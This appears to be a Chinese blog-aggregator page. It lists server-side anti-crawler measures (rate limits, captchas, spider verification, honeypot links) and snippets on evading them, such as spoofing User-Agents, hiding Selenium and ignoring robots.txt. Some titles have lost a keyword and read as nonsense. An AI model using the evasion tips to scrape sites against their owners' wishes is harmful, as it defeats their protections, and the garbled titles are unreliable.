    b 设置IP访问频率,如果超过一定频率,弹出验证码 如果输入正确的验证码,则放行,如果没有输入,则拉入禁止一段时间,如果超过禁爬时间,再次出发验证码,则拉入黑名单。当然根据具体的业务,为不同场景设置不同阈值,比如登陆用户和非登陆用户,请求是否含有refer。
    c 通过并发识别爬虫 有些爬虫的并发是很高的,统计并发最高的IP,加入黑名单(或者直接封掉爬虫IP所在C段)
    d 请求的时间窗口过滤统计 爬虫爬取网页的频率都是比较固定的,不像人去访问网页,中间的间隔时间比较无规则,所以我们可以给每个IP地址建立一个时间窗口,记录IP地址最近12次访问时间,每记录一次就滑动一次窗口,比较最近访问时间和当前时间,如果间隔时间很长判断不是爬虫,清除时间窗口,如果间隔不长,就回溯计算指定时间段的访问频率,如果访问频率超过阀值,就转向验证码页面让用户填写验证码
    e 限制单个ip/api token的访问量 比如15分钟限制访问页面180次,具体标准可参考一些大型网站的公开api,如twitter api,对于抓取用户公开信息的爬虫要格外敏感
    f 识别出合法爬虫 对http头agent进行验证,是否标记为、百度的spider,严格一点的话应该判别来源IP是否为、baidu的爬虫IP,这些IP在网上都可以找到。校验出来IP不在白名单就可以阻止访问内容。
    g 蜜罐资源 爬虫解析离不开正则匹配,适当在页面添加一些正常浏览器浏览访问不到的资源,一旦有ip访问,过滤下头部是不是搜素引擎的蜘蛛,不是就可以直接封了。比如说隐式链接。

    参考资料:
    [1]: https://baike.baidu.com/item/%E7%BD%91%E7%BB%9C%E7%88%AC%E8%99%AB/5162711?fr=aladdin
    [2]: https://blog.csdn.net/Mrs_haining/article/details/104474956

    展开全文
  • 博主已经好几个月没有更新文章了,原因就是最近在搞一个反反爬虫练习平台给予大家免费使用。 属实不会编写文案,所以粗制滥造的话语请大家不要建议,主要还是介绍《平头哥反反爬虫练习平台》,平台网址在最下方。 ...
  • 一个IP在同一个平台网站上采用的次数越高,就越极易被平台网站封住,这个是因为有爬虫工作机制的存在。所以,采用代理IP也是一样的原理,并非代理IP中的IP就强大,就没局限了。我们可以通过以下方法排查IP被封的...
  • 新版的 python 把 urllib2 改成了 urllib.request,所以直接导入 urllib2 会报错。 这是我通过 chrome92 版本的浏览器发送请求的时候抓到的头部信息,只要我在发送请求时引用一个 User-Agent 信息就可以了。...
  • 对于爬虫中部分网站设置了请求次数过多后会封杀ip,现在模拟浏览器进行爬虫,也就是说让服务器认识到访问他的是真正的浏览器而不是机器操作简单的直接添加请求头,将浏览器的信息在请求数据时传入:打开浏览器--打开...
  • python爬虫与爬虫

    2021-09-11 19:50:28
    一、爬虫与爬虫 1. 爬虫:使用任何技术手段,批量获取网站信息的一种方式。关键在于批量。 2. 爬虫:使用任何技术手段,阻止别人批量获取自己网站信息的一种方式。关键也在于批 量。 3. 误伤:在爬虫的...
  • 怎样爬虫和控制爬虫的速度

    千次阅读 2021-07-02 10:16:28
    下面是从setting中设置以达到爬虫和控制爬虫的速度: 1.修改是否遵守爬虫协议为False # Obey robots.txt rules ROBOTSTXT_OBEY = False 2.修改并发请求数,修改为1,或者2,越小爬取速度越慢,太快容易被识别到 #...
  • 常见的一些爬虫策略破解方式-Java网络爬虫系统性学习与实战系列(11) 文章目录联系方式概述通过User-Agent校验反爬最全User-Agent设置访问频率限制IP限制Cookie限制Referer通过蜜罐资源反爬动态变换网页结构基于...
  • 你可能已经了解到了无头浏览器的作用以及使用的方法,那么本篇文章就让我们一起用无头浏览器做点事情。是的你没有看错,我们要“搞”的对象就是百度指数这个网站,不知道你平时是否会应用到这里面的数据呢?...
  • 前两章简单的讲了Beautiful Soup的用法,在爬虫的过程中相信都遇到过一些爬虫,如何跳过这些爬虫呢?今天通过知乎网写一个简单的反爬中什么是爬虫简单的说就是使用任何技术手段,阻止别人批量获取自己网站信息...
  • 本文的文字及图片来源于网络,仅供学习、交流使用,不具有任何商业用途,版权...目前大多热门站点在与爬虫的博弈中,多维持一个爬虫与爬虫的平衡,毕竟双方都是为了在商业市场中获取利益,而不是不计成本的干掉对方。
  • 首页专栏java文章详情0这款spring-boot爬虫组件让你不用担心网站再被Github导航站发布于 今天 02:26大家好,我是为广大程序员兄弟操碎了心的小编,每天推荐一个小工具/源码,装满你的收藏夹,每天分享一个小技巧...
  • 一、背景 js[最牛加密]:https://www.sojson.com/jsobfuscator.html  本文主要介绍如何过: 正则防止格式化 禁止控制台输出 死循环 setInterval函数 二、正文 2.1 ... 成功过so-json本地调试! 愿您生活愉快!!!
  • 一、为什么要爬虫 第一,网络爬虫浪费网站的流量,也就是浪费钱。爬虫对于一个网站来说并不算是真正用户的流量,而且往往能够不知疲倦地爬取网站。更有甚者,使用分布式的多台机器爬虫,造成网站浏览量增高,浪费...
  • 文章来自:数仓宝贝库文末有赠书福利!文末有赠书福利!文末有赠书福利!导读:目前,许多网站采取各种各样的措施来爬虫,其中一个措施便是使用验证码。随着技术的发展,验证码的花样越来越多。验证码...
  • 爬虫漫游指南:瑞数的调试陷阱 瑞数的调试陷阱 遇上有反爬的网站,第一反应肯定是要先打开开发者工具调试一波,于是,反爬工程师们就在此处设下了第一道防线。初级一点的,例如监听F12,禁用鼠标右键,作为...
  • 爬虫对于网站拥有者来说并不是一个令人高兴的存在,因为爬虫的肆意横行意味自己的网站资料泄露,甚至是自己刻意隐藏在网站的隐私的内容也会泄露。面对这样的状况,作为网站的维护者或者拥有者,要么抵御爬虫,通过...
  • selenium之反反爬虫

    2021-08-04 13:09:22
    在正常使用浏览器的情况下,这个属性是 undefined,然后一旦我们使用了 selenium,这个属性就被初始化为 true,很多网站就通过 Javascript 判断这个属性实现简单的 selenium爬虫。 反反爬虫解决措施: from ...
  • 特点 :html框架和数据的整合是在服务器端一次性完成的,我们数据只需要获取网页源代码就可以了。 客户端渲染: 不能够在网页源码中看到数据。比如12306,搜索车次后在搜索界面的Network–>ALL–>左侧init开头的...
  • 我们经常会拿selenium进行自动登录来搭建cookie池,对于不想自己网站被的站主/开发人员来说,防止自动化脚本操作网站自然是反爬必须要做的工作。那么,他们究竟有哪些手段来检测用户是否是selenium呢?今天就来...
  • 爬虫 所以,你想到爬虫方案了吗? 如果我们禁用所有的 HTTP/1.x 的请求,是不是能通杀掉一大半爬虫?requests 没法用了,Scrapy 除非升级到最新版本才能勉强用个实验性版本,其他的语言也不用多说,也会杀一大...
  • 其实就目前业界来说, python 下的爬虫轮子是最多的,我厂大多数同学都用 python 搞爬虫。我由于原来搞 web 后端用 PHP 比较多,对 PHP 下的生态和第三方库啥的如数家珍,厂里对使用的语言也不做强制要求,所以我就...
  • 关于调试 调试就是在检测到用户打开 DevTools 的时候,就会调用相应的函数,以阻止用户进行调试。在调试中,有时候会将函数进行重定义,并且改变其行为,就会将某些信息隐藏起来或者改变其中的一部分信息。 ...
  • 本篇博客继续为大家带来爬虫反爬技术学习,签名验证。 在上一篇博客,咱们学习的反爬验证信息,是存储在 请求头域 中的信息,签名验证一般在请求体(请求正文)中,服务器接收到对应的字段,并对其来源和合理性进行...
  • 没学习之前我理解字面意思就是你爬虫网站,然后该网站顺你的ip等会对你的网络电脑等造成损失 爬虫—— 使用任何技术手段批量获取网站信息的一种方式,关键在批量。 爬虫—— 使用任何技术手段,阻止别人批量...
  • 网站运营者则需要爬虫系统来保护自己的数据资源,以此达到系统稳定性的保障和竞争优势保持的目的。 为什么反爬 为了更好的理解爬虫和爬虫,我们来看一些定义: 爬虫:使用任何技术手段,批量获取网站信息的一种...
  • $userAgent =strtolower(@Request::instance()->header()['user-agent']);if(empty($userAgent)){header('...header("status: 404 Not Found");echo '请求错误!';exit();}$SpiderNo = array('f...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 50,266
精华内容 20,106
关键字:

反着爬